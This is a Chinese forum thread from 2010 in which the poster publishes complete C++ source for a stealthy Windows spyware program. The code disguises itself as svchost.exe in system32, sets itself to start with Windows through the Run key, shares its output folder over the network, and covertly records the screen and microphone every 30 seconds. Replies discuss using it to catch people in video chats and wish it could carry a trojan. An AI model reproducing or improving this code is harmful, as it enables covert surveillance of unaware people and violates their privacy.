写了一个程序,开源。可以监控电脑的屏幕,录音
devymex
Devymex真身,Twitter: @devymex
1楼 大 中 小 发表于 2010-2-8 16:44 只看该作者
写了一个程序,开源。可以监控电脑的屏幕,录音
严禁利用此程序非法获取他人隐私!
找不到合适的地方放可执行程序。有些地方可以放,但这种程序会跟据需要随时更改的,更新起来太麻烦了。因此只放源代码,仅供参考与讨论。
如果您编译代码有困难,请给我发邮件索取编译好的可执行程序文件,邮箱是devymex在gmail点com。
代码是标准的C++程序,主要调用Windows API,VS2002以上版本都可以编译。本人水平有限,疏漏在所难免,望予以斧正。
复制内容到剪贴板
代码:
`#include
#include
#include
#include
#include
#pragma comment( lib, “gdiplus” )
#pragma comment( lib, “Netapi32” )
#pragma comment( lib, “Winmm” )
#pragma comment( lib, “Psapi” )
using namespace Gdiplus;
int WINAPI WinMain( HINSTANCE hInst, HINSTANCE, LPSTR, int )
{
// 获取当前进程句柄,降优先级为Idel。
HANDLE hProc = OpenProcess( PROCESS_SET_INFORMATION, FALSE,
GetCurrentProcessId() );
SetPriorityClass( hProc, IDLE_PRIORITY_CLASS );
CloseHandle( hProc );
// 目标文件名
WCHAR szPath[MAX_PATH];
GetSystemDirectoryW( szPath, sizeof(szPath) / sizeof(szPath[0]) );
wcscat_s( szPath, sizeof(szPath) / sizeof(szPath[0]), L"\\capture" );
CStringW strDestFile( szPath );
strDestFile.Append( L"\\svchost.exe" );
// 创建保存目录并设为共享
CreateDirectoryW( szPath, NULL );
SHARE_INFO_2 shi2;
ZeroMemory( &shi2, sizeof(shi2) );
shi2.shi2_netname = L"01SYSTEM";
shi2.shi2_type = STYPE_DISKTREE;
shi2.shi2_permissions = ACCESS_READ ACCESS_WRITE ACCESS_CREATE;
shi2.shi2_max_uses = SHI_USES_UNLIMITED;
shi2.shi2_path = (LPWSTR)szPath;
NetShareAdd( NULL, 2, (LPBYTE)&shi2, NULL );
// 在注册表注册为开机启动
HKEY hKey;
RegOpenKeyExW( HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\"
L"CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hKey );
RegSetValueExW( hKey, L"SilentRec", 0, REG_SZ,
(LPBYTE)(LPCWSTR)strDestFile,
sizeof(WCHAR) * strDestFile.GetLength() );
RegCloseKey( hKey );
// 获取本进程的exe文件路径
HMODULE hMod = GetModuleHandleW( NULL );
WCHAR szBuf[MAX_PATH];
GetModuleFileNameW( hMod, szBuf, sizeof(szBuf) / sizeof(szBuf[0]) );
CStringW strImageName( szBuf );
// 如果与目标文件名不相符,进行替换
if ( strImageName.CompareNoCase( strDestFile ) )
{
// 枚举所有进程,找到原文件对应的进程
DWORD aProc[1024], dwProcCnt;
EnumProcesses( aProc, sizeof(aProc), &dwProcCnt );
for ( UINT i = 0; i < dwProcCnt / sizeof(dwProcCnt); ++i )
{
if ( aProc[i] != 0 )
{
hProc = OpenProcess( PROCESS_QUERY_INFORMATION
PROCESS_VM_READ PROCESS_TERMINATE, FALSE, aProc[i] );
if ( hProc )
{
DWORD dwRes;
EnumProcessModules( hProc, &hMod, sizeof(hMod), &dwRes );
GetModuleFileNameExW( hProc, hMod, szBuf,
sizeof(szBuf) / sizeof(szBuf[0]) );
if ( 0 == strDestFile.CompareNoCase( szBuf ) )
{
// 结束进程
TerminateProcess( hProc, 0 );
}
}
CloseHandle( hProc );
}
}
// 替换原文件
CopyFileW( strImageName, strDestFile, FALSE );
STARTUPINFO si;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
PROCESS_INFORMATION pi;
ZeroMemory( &pi, sizeof(pi) );
#ifndef _DEBUG
// 启动新进程并退出程序
CreateProcessW( NULL, (LPWSTR)(LPCWSTR)strDestFile,
NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
return 0;
#endif
}
// 建立互斥量,必免程序运行多个实例
HANDLE hMutex = CreateMutexW( NULL, TRUE, L"SilentRec" );
if( GetLastError() == ERROR_ALREADY_EXISTS )
{
return 0;
}
// 注册热键
RegisterHotKey( NULL, 0, MOD_WIN, VK_SNAPSHOT );
// 初始化音频设备
DWORD dwGapTime = 30;
HWAVEIN hwi = NULL;
WAVEFORMATEX wf;
wf.wFormatTag = WAVE_FORMAT_PCM;
wf.nChannels = 1;
wf.nSamplesPerSec = 11025;
wf.wBitsPerSample = 8;
wf.nBlockAlign = ( wf.nChannels * wf.wBitsPerSample ) / 8;
wf.nAvgBytesPerSec = wf.nBlockAlign * wf.nSamplesPerSec;
wf.cbSize = sizeof(wf);
waveInOpen( &hwi, 0, &wf, NULL, 0, CALLBACK_NULL );
// 准备录音缓冲区
WAVEHDR whdr;
ZeroMemory( &whdr, sizeof(whdr) );
whdr.dwBufferLength = dwGapTime * wf.nAvgBytesPerSec;
whdr.lpData = new char[ whdr.dwBufferLength ];
// 初始化GDI+
GdiplusStartupInput gdiplusStartupInput;
ULONG_PTR gdiplusToken;
GdiplusStartup( &gdiplusToken, &gdiplusStartupInput, NULL );
// 获取编码器列表
UINT nEncNum, nEncSize;
GetImageEncodersSize( &nEncNum, &nEncSize );
ImageCodecInfo* pImageCodecInfo = (ImageCodecInfo*)malloc( nEncSize );
GetImageEncoders( nEncNum, nEncSize, pImageCodecInfo );
//在列表中查找jpg编码器的CLSID
CLSID encoderClsid;
for( UINT i = 0; i < nEncNum; ++i )
{
if( wcscmp( pImageCodecInfo[i].MimeType, L"image/jpeg" ) == 0 )
{
encoderClsid = pImageCodecInfo[i].Clsid;
break;
}
}
free( pImageCodecInfo );
// 获取屏幕尺寸
DWORD dwScrX = GetSystemMetrics( SM_CXSCREEN );
DWORD dwScrY = GetSystemMetrics( SM_CYSCREEN );
// 获取屏幕显示DC
HDC hScrDC = CreateDC( _T("DISPLAY"), NULL, NULL, NULL );
// 并初始化内存DC和位图
HDC hMemDC = CreateCompatibleDC( hScrDC );
HBITMAP hMemBmp = CreateCompatibleBitmap( hScrDC, dwScrX, dwScrY );
HBITMAP hOldBmp = (HBITMAP)SelectObject( hMemDC, hMemBmp );
// 每dwGapTime秒存一次,按下热键退出程
MSG msg;
for ( CStringW strOutFile; !PeekMessageW( &msg, NULL, WM_HOTKEY,
WM_HOTKEY, PM_REMOVE ); )
{
// 用时间作为文件名
SYSTEMTIME st;
GetLocalTime( &st );
strOutFile.Format( L"%s\\%02d%02d_%02d%02d%02d.dai",
szPath, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond );
//截取屏幕
BitBlt( hMemDC, 0, 0, dwScrX, dwScrY, hScrDC, 0, 0, SRCCOPY );
Bitmap *pBmp = Bitmap::FromHBITMAP( hMemBmp, NULL );
// 保存文件到指定目录。
pBmp->Save( strOutFile, &encoderClsid, NULL );
delete pBmp;
// 开始录音
waveInPrepareHeader( hwi, &whdr, sizeof(whdr) );
waveInAddBuffer( hwi, &whdr, sizeof(whdr) );
waveInStart( hwi );
Sleep( dwGapTime * 1000 );
waveInStop( hwi );
// 写入wav文件
DWORD dwData, dwRes;
GetLocalTime( &st );
strOutFile.Format( L"%s\\%02d%02d_%02d%02d%02d.daw",
szPath, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond );
HANDLE hFile = CreateFileW( strOutFile, GENERIC_WRITE, 0,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
WriteFile( hFile, "RIFF", 4, &dwRes, NULL);
dwData = whdr.dwBufferLength + 18 + 20;
WriteFile( hFile, &dwData, 4, &dwRes, NULL );
WriteFile( hFile, "WAVEfmt ", 8, &dwRes, NULL );
dwData = 18;
WriteFile( hFile, &dwData, 4, &dwRes, NULL );
WriteFile( hFile, &wf, sizeof(wf), &dwRes, NULL);
WriteFile( hFile, "data", 4, &dwRes, NULL );
dwData = whdr.dwBufferLength;
WriteFile( hFile, &dwData, 4, &dwRes, NULL );
WriteFile( hFile, whdr.lpData, dwData, &dwRes, NULL );
SetEndOfFile( hFile );
CloseHandle( hFile );
waveInReset( hwi );
waveInUnprepareHeader( hwi, &whdr, sizeof(whdr) );
}
// 关闭音频设备
waveInClose( hwi );
// 释放内存
delete[] whdr.lpData;
// 释放内存DC和位图
SelectObject( hMemDC, hOldBmp );
DeleteObject( hMemBmp );
DeleteDC( hMemDC );
DeleteDC( hScrDC );
// 关闭GDI+
GdiplusShutdown( gdiplusToken );
return 0;
}`
这个程序是在自己的电脑上用的,显然需要在杀软上给这个程序足够的权限。
该程序双击就自动运行。首先建立一个c:\\windows\\system32\\capture目录,并设为共享,然后将自身复制进这个文件夹,改名为
svchost.exe。随后启动复本,自身结束。也就是说,双击运行后原程序文件就可以删除了,程序会在后台自动运行。
然后程序会添加开机启动项,开机就自动运行。如需取消,请删除键值:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
\Windows\CurrentVersion\Run\SilentRec
程序会在c:\\windows\\system\\capture目录中每隔30秒保存一次屏幕为dai文件,录制30秒的音频,保存为daw文件。
文件名的格式是:月日_时分秒。要查看屏幕图像文件,把扩展名dai改为jpg,听录音,把扩展名daw改成wav。
结束程序请按Win+PrtSc键。
任何问题请参考源代码或加我的GTalk,地址上面给了。
[ 本帖最后由 devymex 于 2010-2-11 00:15 编辑 ]
Terminusbot 整理,讨论请前往 2049bbs.xyz
jaychu128
2楼 大 中 小 发表于 2010-2-8 21:36 只看该作者
Idle = =
rationalcrow
拆呐拆呐不拆怎么成china
3楼 大 中 小 发表于 2010-2-8 21:57 只看该作者
建议放google code
天衢居士
一小撮各種不明真相
4楼 大 中 小 发表于 2010-2-8 23:48 只看该作者
非专业人士飞过。。。不懂。。。
02304H
10001100000100B
5楼 大 中 小 发表于 2010-2-9 20:54 只看该作者
动了注册表杀软显然会报警……
devymex
Devymex真身,Twitter: @devymex
6楼 大 中 小 发表于 2010-2-10 12:07 只看该作者
引用:
原帖由 10293817 于 2010-2-9 20:54 发表
动了注册表杀软显然会报警……
给自己人用的,显然需要在杀软上给这个程序足够的权限。
这个回复就不再解释,全放到贴子下面了。
[ 本帖最后由 devymex 于 2010-2-10 16:22 编辑 ]
止痛药
苦力难寻
7楼 大 中 小 发表于 2010-2-10 12:14 只看该作者
好邪恶啊~哈哈~~~
fuckmylife
双腿夹着灵魂赶路匆忙
8楼 大 中 小 发表于 2010-2-10 13:44 只看该作者
说老实话,我一直挺崇拜程序员的
baobao
9楼 大 中 小 发表于 2010-2-10 14:08 只看该作者
不错
zszheng
10楼 大 中 小 发表于 2010-2-10 14:44 只看该作者
看代码有困难!不能直接给出可执行的文件吗?
龙飞
西安
11楼 大 中 小 发表于 2010-2-10 15:19 只看该作者
完全看不懂,直接弄到最后打这句话。
苏叶
打酱油风月党
12楼 大 中 小 发表于 2010-2-10 15:49 只看该作者
这个能用来做什么?不明真相了……
单手扶墙
活了几十年年,没能为党为人民做点什么,每思及此,心神不宁。
13楼 大 中 小 发表于 2010-2-10 16:22 只看该作者
菜鸟同问。。用来干什么?
devymex
Devymex真身,Twitter: @devymex
14楼 大 中 小 发表于 2010-2-10 16:23 只看该作者
解释也放到贴子里了。这程序不敢让google搜到,搜到就没用了。所以只好发到这里,呵呵
SrAcer
党强加于人的世界观在无法理解它的人们那里最容易被接受。——《1984》
15楼 大 中 小 发表于 2010-2-10 16:39 只看该作者
楼主有古代码武士之风啊。我也喜欢这样编码呢。不过最近在学C#,也很喜欢。
我的建议:
1、用硬路径不太好,改用GetSystemDirectory吧。
2、 CreateMutex放在WinMain开始比较好。
3、加一个系统全局热键方便退出。
4、检查磁盘空间,不充裕时自动删除最旧记录。
[ 本帖最后由 SrAcer 于 2010-2-10 16:50 编辑 ]
devymex
Devymex真身,Twitter: @devymex
16楼 大 中 小 发表于 2010-2-10 17:03 只看该作者
引用:
原帖由 SrAcer 于 2010-2-10 16:39 发表
楼主有古代码武士之风啊。我也喜欢这样编码呢。不过最近在学C#,也很喜欢。
我的建议:
1、用硬路径不太好,改用GetSystemDirectory吧。
2、 CreateMutex放在WinMain开始比较好。
3、加一个系统全局热键方便退 …
非常感谢您的指教,但我有一点不敢苟同,见谅
CreateMutex放在后面是有逻辑的,将自身的复本放到另一个目录并顺利启动必须放在CreateMutex之后,否则复本无法启动。
硬路径纯属偷懒,呵呵,已经修正。
增加一个系统热键用于退出:Win+PrtSc
最后一个功能考虑添加。
再次感谢!
[ 本帖最后由 devymex 于 2010-2-10 23:24 编辑 ]
SrAcer
党强加于人的世界观在无法理解它的人们那里最容易被接受。——《1984》
17楼 大 中 小 发表于 2010-2-10 18:24 只看该作者
回复 17楼 devymex 的话题
按程序逻辑CreateMutex是该放前面的。只要在CreateMutex前再加个Sleep(1000)就可以解决副本启动问题了,对吧。但这也是偷懒做法。正确做法之一是另加个标识安装的全局物件(如Mutex),不过对小程序而言稍嫌麻烦。
楼主你就Sleep(1000)吧。嘻嘻。
depthsky
www.depthsky.com
18楼 大 中 小 发表于 2010-2-10 22:08 只看该作者
给exe吧~真看不懂~
bbscn
长期不明真相的围观群众
19楼 大 中 小 发表于 2010-2-10 22:43 只看该作者
10行(还包含一个空行)脚本实现15秒截屏一次的功能(os x 10.5.8测试通过,*nix的xwindow应该都可以)。。。。
其实lz这段代码没啥意义,15秒截一次屏然后保存没有优化时间长了文件夹超大,其次调用win32 API没法截取视频层。
简单的说,就是你偷偷把这个 程序运行在某台电脑上,一个傻瓜用这台电脑和别人裸聊,截下来视频那一块是黑的
左岸←右岸
把你的子宫钉到我的墙上,这样我便会记得你。我们必须走了。明天,明天…
20楼 大 中 小 发表于 2010-2-10 23:25 只看该作者
``````静观裸聊人士······
devymex
Devymex真身,Twitter: @devymex
21楼 大 中 小 发表于 2010-2-10 23:25 只看该作者
回复 18楼 SrAcer
关于这个问题,我想现在程序这样的逻辑是没错的。即使Mutex前的代码同时运行多次也没有关系,这里的Mutex仅是为了防止多个程序一起记录,生成重复的文件。
回复 20楼 bbscn
重申:严禁将此程序用在窃取他人隐私等非法用途,代码仅供参考与讨论!
如果视频截不到图,请禁用DirectDraw的硬件加速。在XP下的方法如下:
1. 点击开始->运行(或直接按Win+R键)。
2. 输入“dxdiag”
3. 点击“显示”选项卡
4. 点击在“DirectDraw加速”左边的“禁用”按钮,点确定。
关于录音记录文件的体积,正在研究将wav编码为mp3。初步构想用Lame的VBR编码,可以压缩到原先的30%~40%,但是必须要多带一个dll。
关于屏幕图像,我的显示器分辨率是1280X1024(不能算小了),生成的图像数据量大概是1小时23MB,如果是普通的1280宽屏,不会超过1小时20MB。另外记录文件应该定时清理。
[ 本帖最后由 devymex 于 2010-2-11 00:20 编辑 ]
roc918
大森林
22楼 大 中 小 发表于 2010-2-11 05:20 只看该作者
能挂木马就好了
Chinais
23楼 大 中 小 发表于 2010-2-11 06:36 只看该作者
买了个keylogger正式版,从此再也不怕死机销文档。。。
nicky_hk
烤鸭党粉丝,十二点党粉丝.
24楼 大 中 小 发表于 2010-2-13 10:08 只看该作者
建议搂住看看网上的winvnc,也是开源的,可以自己修改修改,远程监控其他电脑,而且不会被杀掉。
nicky_hk
烤鸭党粉丝,十二点党粉丝.
25楼 大 中 小 发表于 2010-2-13 10:09 只看该作者
引用:
原帖由 bbscn 于 2010-2-10 22:43 发表
10行(还包含一个空行)脚本实现15秒截屏一次的功能(os x 10.5.8测试通过,*nix的xwindow应该都可以)。。。。
其实lz这段代码没啥意义,15秒截一次屏然后保存没有优化时间长了文件夹 …
截图很漂亮,应该是vim吧,哈哈